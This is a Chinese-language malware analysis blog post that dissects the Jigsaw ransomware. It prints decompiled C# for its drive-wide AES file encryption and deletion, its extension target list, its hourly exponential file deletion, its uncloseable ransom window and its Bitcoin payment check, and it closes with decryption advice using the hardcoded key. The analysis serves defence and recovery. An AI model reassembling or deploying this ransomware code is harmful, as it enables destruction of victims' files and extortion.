Jigsaw勒索软件分析

近期通过团队威胁情报监控发现浏览安全情报[1]是一个勒索软件,会把握受害人心理,一点一点删除文件来威胁受害者。于是找到个样本分析。

样本信息

来源: app.any.run

md5: 2773e3dc59472296cb0024ba7715a64e

文件名: jigsaw.bin

执行情况

初步分析

使用exeinfope加载,得到

加了ConfuseEx壳,去Google看看有没已有的壳,找到了[2],下载下来,执行脱壳操作

> ConfuserEx-Unpacker-v2.0binConfuserEx-Unpacker.exe jigsaw.binjigsaw.bin

主函数分析

主函数new了一个FormBackground,初始化参数后调用this.InitializeComponent();

private void InitializeComponent()
  {
   this.components = new Container();
   this.timerActivateChecker = new Timer(this.components);
   base.SuspendLayout();
   this.timerActivateChecker.Enabled = true;
   this.timerActivateChecker.Tick += this.timerActivateChecker_Tick;
   base.AutoScaleDimensions = new SizeF(6f13f);
   base.AutoScaleMode = AutoScaleMode.Font;
   base.ClientSize = new Size(284262);
   base.Name = "FormBackground";
   this.Text = "Form1";
   base.ResumeLayout(false);
  }

首先设置一个计时器,定期调用timerActivateChecker_Tick方法,并且设置标题和名称后恢复显示

定时方法分析

private void timerActivateChecker_Tick(object sender, EventArgs e)
  {
   if (Config.Activated)
   {
    return;
   }
   if (!Hacking.ShouldActivate())
   {
    return;
   }
   Config.Activated = true;
   Locker.EncryptFileSystem();
   new FormGame().Show(this);
  }

首先检查Activated防止重复执行,然后加密文件系统,并显示FormGame

加密分析

internal static void EncryptFileSystem()
  {
   HashSet<string> extensionsToEncrypt = new HashSet<string>(Locker.GetExtensionsToEncrypt());
   foreach (string dirPath in from drive in DriveInfo.GetDrives()
   select drive.RootDirectory.FullName)
   {
    Locker.EncryptFiles(dirPath, ".fun", extensionsToEncrypt);
   }
   if (!File.Exists(Locker.EncryptedFileListPath))
   {
    string[] contents = Locker.EncryptedFiles.ToArray<string>();
    File.WriteAllLines(Locker.EncryptedFileListPath, contents);
   }
  }

首先设置要加密的文件扩展名,这些内容写在资源文件中,包括如下

.jpg .jpeg .raw .tif .gif .png .bmprn.3dm .maxrn.accdb .db .dbf .mdb .pdb .sqlrn.dwg .dxfrn.c .cpp .cs .h .php .asp .rb .java .jar .class .py .jsrn.aaf .aep .aepx .plb .prel .prproj .aet .ppj .psd .indd .indl .indt .indb .inx .idml .pmd .xqx .xqx .ai .eps .ps .svg .swf .fla .as3 .asrn.txt .doc .dot .docx .docm .dotx .dotm .docb .rtf .wpd .wps .msg .pdf .xls .xlt .xlm .xlsx .xlsm .xltx .xltm .xlsb .xla .xlam .xll .xlw .ppt .pot .pps .pptx .pptm .potx .potm .ppam .ppsx .ppsm .sldx .sldmrn.wav .mp3 .aif .iff .m3u .m4u .mid .mpa .wma .ra .avi .mov .mp4 .3gp .mpeg .3g2 .asf .asx .flv .mpg .wmv .vob .m3u8rn.dat .csv .efx .sdf .vcf .xml .sesrn.Qbw .QBB .QBM .QBI .QBR  rn.Cnt .Des .v30 .Qbo .Ini .Lgb .Qwc .Qbp .Aif .Qba .Tlg .Qbx .Qby  rn.1pa .Qpd .Txt .Set .Iif  rn.Nd .Rtp .Tlg .Wav .Qsm .Qss .Qst .Fx0 .Fx1 .Mx0 .FPx .Fxr .Fim .ptb .Ai .Pfb .Cgn .Vsd .Cdr .Cmx .Cpt .Csl .Cur .Des .Dsf .Ds4rn .Drw .Dwg.Eps .Ps .Prn .Gif .Pcd .Pct .Pcx .Plt .Rif .Svg .Swf .Tga .Tiff .Psp .Ttf .Wpd .Wpg .Wi .Raw .Wmf .Txt .Cal .Cpx .Shw .Clk .Cdx .Cdt .Fpx .Fmv .Img .Gem .Xcf .Pic .Mac .Met rn.PP4 .Pp5 .Ppf .Xls .Xlsx .Xlsm .Ppt .Nap .Pat .Ps .Prn .Sct .Vsd .wk3 .wk4 .XPM .zip .rar

然后枚举文件并加密

private static void EncryptFiles(string dirPath, string encryptionExtension, HashSet<string> extensionsToEncrypt)
  {
   IEnumerable<string> files = Locker.GetFiles(dirPath);
   Func<string, IEnumerable<string>> <>9__0;
   Func<string, IEnumerable<string>> collectionSelector;
   if ((collectionSelector = <>9__0) == null)
   {
    collectionSelector = (<>9__0 = ((string file) => extensionsToEncrypt));
   }
   foreach (string text in from <>h__TransparentIdentifier0 in files.SelectMany(collectionSelector, (string file, string ext) => new
   {
    file,
    ext
   })
   where <>h__TransparentIdentifier0.file.EndsWith(<>h__TransparentIdentifier0.ext)
   select <>h__TransparentIdentifier0.file into file
   select new
   {
    file = file,
    fi = new FileInfo(file)
   } into t
   where t.fi.Length < 10000000L
   select t.file)
   {
    try
    {
     if (Locker.EncryptFile(text, encryptionExtension))
     {
      Locker.EncryptedFiles.Add(text);
     }
    }
    catch{}
   }
  }

加密时还考虑到了文件大小不大于10000000字节,加密后的文件扩展名为.fun,加密成果后会添加到文件列表中

private static bool EncryptFile(string path, string encryptionExtension)
  {
   try
   {
    if (Config.StartMode != Config.StartModeType.Debug && (path.StartsWith(Config.WorkFolderPath, StringComparison.InvariantCulture) || path.StartsWith("C:\Windows", StringComparison.InvariantCultureIgnoreCase)))
    {
     return false;
    }
    using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
    {
     aesCryptoServiceProvider.Key = Convert.FromBase64String("OoIsAwwF23cICQoLDA0ODe==");
     aesCryptoServiceProvider.IV = new byte[]
     {0,1,0,3,5,3,0,1,0,0,2,0,6,7,6,0
     };
     Locker.EncryptFile(aesCryptoServiceProvider, path, path + encryptionExtension);
    }
   }
   catch
   {
    return false;
   }
   try
   {
    File.Delete(path);
   }
   catch (Exception)
   {
    return false;
   }
   return true;
  }

实际加密使用AES算法,但是对于程序自身目录不加密,Windows目录不加密。但是加密的key和IV是固定的,所以文件可以解密。

另外下面还有个解密函数

private static void DecryptFile(string path, string encryptionExtension)
  {
   try
   {
    if (!path.EndsWith(encryptionExtension))
    {
     return;
    }
    string outputFile = path.Remove(path.Length - 4);
    using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
    {
     aesCryptoServiceProvider.Key = Convert.FromBase64String("OoIsAwwF23cICQoLDA0ODe==");
     aesCryptoServiceProvider.IV = new byte[]
     {//...
     };
     Locker.DecryptFile(aesCryptoServiceProvider, path, outputFile);
    }//...
  }

回到Main.Tools.Locker类,加密之后会将文件列表保存在WorkdirEncryptedFileList.txt

FormGame分析

构造函数调用了一个方法

private void InitializeComponent()
  {
   this.components = new Container();
   this.labelWelcome = new Label();
   this.timerTypingEffect = new Timer(this.components);
   this.labelTask = new Label();
   this.textBoxAddress = new TextBox();
   this.buttonCheckPayment = new Button();
   this.buttonViewEncryptedFiles = new Button();
   this.timerCountDown = new Timer(this.components);
   this.labelCountDown = new Label();
   this.labelFilesToDelete = new Label();
   base.SuspendLayout();
   this.labelWelcome.AutoSize = true;
   this.labelWelcome.BackColor = Color.Black;
   this.labelWelcome.Font = new Font("Lucida Console"12f, FontStyle.Regular, GraphicsUnit.Point, 0);
   this.labelWelcome.ForeColor = Color.Lime;
   this.labelWelcome.Location = new Point(2529);
   this.labelWelcome.Name = "labelWelcome";
   this.labelWelcome.Size = new Size(21816);
   this.labelWelcome.TabIndex = 0;
   this.labelWelcome.Text = "I want to play a game";
   this.timerTypingEffect.Tick += this.timerTypingEffect_Tick;
   this.labelTask.AutoSize = true;
   this.labelTask.BackColor = Color.Black;
   this.labelTask.Font = new Font("Lucida Console"12f, FontStyle.Bold, GraphicsUnit.Point, 0);
   this.labelTask.ForeColor = Color.Lime;
   this.labelTask.Location = new Point(25505);
   this.labelTask.Name = "labelTask";
   this.labelTask.Size = new Size(23916);
   this.labelTask.TabIndex = 1;
   this.labelTask.Text = "All you have to do...";
   this.textBoxAddress.Location = new Point(28524);
   this.textBoxAddress.Name = "textBoxAddress";
   this.textBoxAddress.Size = new Size(34820);
   this.textBoxAddress.TabIndex = 2;
   this.textBoxAddress.Text = "12Xspzstah37626slkwKhsKSHA";
   this.buttonCheckPayment.BackColor = Color.Gold;
   this.buttonCheckPayment.Location = new Point(28551);
   this.buttonCheckPayment.Name = "buttonCheckPayment";
   this.buttonCheckPayment.Size = new Size(34833);
   this.buttonCheckPayment.TabIndex = 3;
   this.buttonCheckPayment.Text = "I made a payment, now give me back my files!";
   this.buttonCheckPayment.UseVisualStyleBackColor = false;
   this.buttonCheckPayment.Click += this.buttonCheckPayment_Click;
   this.buttonViewEncryptedFiles.BackColor = Color.Gray;
   this.buttonViewEncryptedFiles.Location = new Point(28479);
   this.buttonViewEncryptedFiles.Name = "buttonViewEncryptedFiles";
   this.buttonViewEncryptedFiles.Size = new Size(34823);
   this.buttonViewEncryptedFiles.TabIndex = 4;
   this.buttonViewEncryptedFiles.Text = "View encrypted files";
   this.buttonViewEncryptedFiles.UseVisualStyleBackColor = false;
   this.buttonViewEncryptedFiles.Click += this.buttonViewEncryptedFiles_Click;
   this.timerCountDown.Interval = 1000;
   this.timerCountDown.Tick += this.timerCountDown_Tick;
   this.labelCountDown.AutoSize = true;
   this.labelCountDown.BackColor = Color.Black;
   this.labelCountDown.BorderStyle = BorderStyle.Fixed3D;
   this.labelCountDown.Font = new Font("Lucida Sans Unicode"48f, FontStyle.Bold, GraphicsUnit.Point, 0);
   this.labelCountDown.ForeColor = Color.DarkRed;
   this.labelCountDown.Location = new Point(28320);
   this.labelCountDown.Name = "labelCountDown";
   this.labelCountDown.Size = new Size(22080);
   this.labelCountDown.TabIndex = 5;
   this.labelCountDown.Text = "59:59";
   this.labelFilesToDelete.AutoSize = true;
   this.labelFilesToDelete.BackColor = Color.Black;
   this.labelFilesToDelete.Font = new Font("Lucida Console"12f, FontStyle.Bold);
   this.labelFilesToDelete.ForeColor = Color.Lime;
   this.labelFilesToDelete.Location = new Point(24455);
   this.labelFilesToDelete.Name = "labelFilesToDelete";
   this.labelFilesToDelete.Size = new Size(26116);
   this.labelFilesToDelete.TabIndex = 6;
   this.labelFilesToDelete.Text = "1 file will be deleted.";
   base.AutoScaleDimensions = new SizeF(6f13f);
   base.AutoScaleMode = AutoScaleMode.Font;
   this.BackgroundImage = Resources.Jigsaw;
   base.ClientSize = new Size(840596);
   base.Controls.Add(this.labelFilesToDelete);
   base.Controls.Add(this.labelCountDown);
   base.Controls.Add(this.buttonViewEncryptedFiles);
   base.Controls.Add(this.buttonCheckPayment);
   base.Controls.Add(this.textBoxAddress);
   base.Controls.Add(this.labelTask);
   base.Controls.Add(this.labelWelcome);
   base.Name = "FormGame";
   base.FormClosing += this.FormGame_FormClosing;
   base.Load += this.FormGame_Load;
   base.ResumeLayout(false);
   base.PerformLayout();
  }

主要有一下要素

  • 收款钱包地址12Xspzstah37626slkwKhsKSHA。需要注意的是这里的地址并不是最终地址,而是为了可扩展性放在Config类中的地址
  • 设置了一下查看文件列表的监听器
  • 设置了一个计时器timerCountDown_Tick
  • 设置了窗口关闭时的监听器FormGame_FormClosing
  • 设置了Load的监听器FormGame_Load
  • 设置了支付检查按钮buttonCheckPayment_Click

计时器方法分析

private void timerCountDown_Tick(object sender, EventArgs e)
  {
   if (FormGame._timeLeftSec > 0)
   {
    FormGame._timeLeftSec--;
    int num = FormGame._timeLeftSec / 60;
    int num2 = FormGame._timeLeftSec % 60;
    this.labelCountDown.Text = num + ":" + num2;
    return;
   }
   FormGame._timeLeftSec = 3600;
   int num3 = (int)Math.Pow(1.1, (double)FormGame._exponent);
   this.labelFilesToDelete.Text = num3 + " files will be deleted";
   FormGame._exponent++;
   FormGame.DeleteFiles(num3);
  }

每隔一小时删除一定数量的文件,删除的文件数量为以1.1为底呈指数增长的数字。

随着时间的推移,受害者的越来越多的文件会被删除,多少有点杀人诛心了。

窗口关闭监听器分析

private void FormGame_FormClosing(object sender, FormClosingEventArgs e)
  {
   e.Cancel = true;
   MessageBox.Show(this"You are about to make a very bad decision. Are you sure about it?");
  }

禁止关闭窗口,并显示一个有警告意味的弹窗

FormGame_Load分析

private void FormGame_Load(object sender, EventArgs e)
  {
   base.MaximizeBox = false;
   base.MinimizeBox = false;
   base.StartPosition = FormStartPosition.CenterScreen;
   Windows.MakeTopMost(this);
   this.timerTypingEffect.Interval = 125;
   this.timerTypingEffect.Enabled = true;
   this.labelWelcome.Text = "";
   this.labelTask.Text = Config.TaskMessage;
   this.labelTask.Visible = false;
   this.textBoxAddress.ReadOnly = true;
   this.textBoxAddress.Text = FormGame.GetBitcoinAddess();
   this.textBoxAddress.Visible = false;
   this.buttonCheckPayment.Visible = false;
   this.buttonViewEncryptedFiles.Visible = false;
   this.labelCountDown.Visible = false;
   this.timerCountDown.Enabled = false;
   this.labelFilesToDelete.Visible = false;
   if (FormGame.DidRun())
   {
    FormGame.DeleteFiles(1000);
   }
  }

禁用最大化、最小化、关闭按钮,并且如果已经运行了

private static bool DidRun()
  {
   string path = Path.Combine(Config.WorkFolderPath, "dr");
   if (File.Exists(path))
   {
    return true;
   }
   File.WriteAllText(path, "21");
   return false;
  }

就删除文件。可以看到病毒是以工作目录下的dr文件确认是否已经运行的

buttonCheckPayment_Click支付检查按钮分析

private void buttonCheckPayment_Click(object sender, EventArgs e)
  {
   try
   {
    double price = Blockr.GetPrice();
    int num = (int)(Blockr.GetBalanceBtc(FormGame.GetBitcoinAddess()) * price);
    if (num > Config.RansomUsd)
    {
     this.timerCountDown.Stop();
     this.buttonCheckPayment.Enabled = false;
     this.buttonCheckPayment.BackColor = Color.Lime;
     this.buttonCheckPayment.Text = "Great job, I'm decrypting your files...";
     MessageBox.Show(this"Decrypting your files. It will take for a while. After done I will close and completely remove myself from your computer.""Great job");
     Locker.DecryptFiles(".fun");
     Hacking.RemoveItself();
    }
    else if (num > 0)
    {
     this.buttonCheckPayment.BackColor = Color.Tomato;
     this.buttonCheckPayment.Text = "You did not sent me enough! Try again!";
    }
    else
    {
     this.buttonCheckPayment.BackColor = Color.Tomato;
     this.buttonCheckPayment.Text = "You haven't made payment yet! Try again!";
    }
   }
   catch (Exception ex)
   {
    MessageBox.Show(ex.ToString());
    this.buttonCheckPayment.Text = "Are you connected to the internet? Try again!";
    this.buttonCheckPayment.BackColor = Color.Tomato;
   }
  }

检查钱包中的比特币换算成美元是否达到要求的数值,如果已经支付就解密文件。

总结

总体来说病毒逻辑不算困难,但是会拿捏人的心理,一点一点删除受害者的文件,让受害者逐步崩溃。根据[1],该勒索软件可能是医生开发,可以说非常专业了。

如果中招了不要慌,立即拔除电源并重启,使用文件中的密钥和IV解密即可。即使有部分文件删除了,也可以尝试通过磁盘恢复工具恢复。当然,保险的方法当然是另找一台计算机,放上磁盘后解密。

参考

[1] https://www.anquanke.com/post/id/273321

[2] https://www.youtube.com/watch?v=OWFZOyibu3s

[3] https://www.cyberdonald.com/post/jigsaw-ransomware-analyses

本文作者:ChaMd5安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/180571.html

Tags:
评论  (0)
快来写下你的想法吧!

ChaMd5安全团队

文章数:85 积分: 181

www.chamd5.org 专注解密MD5、Mysql5、SHA1等

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号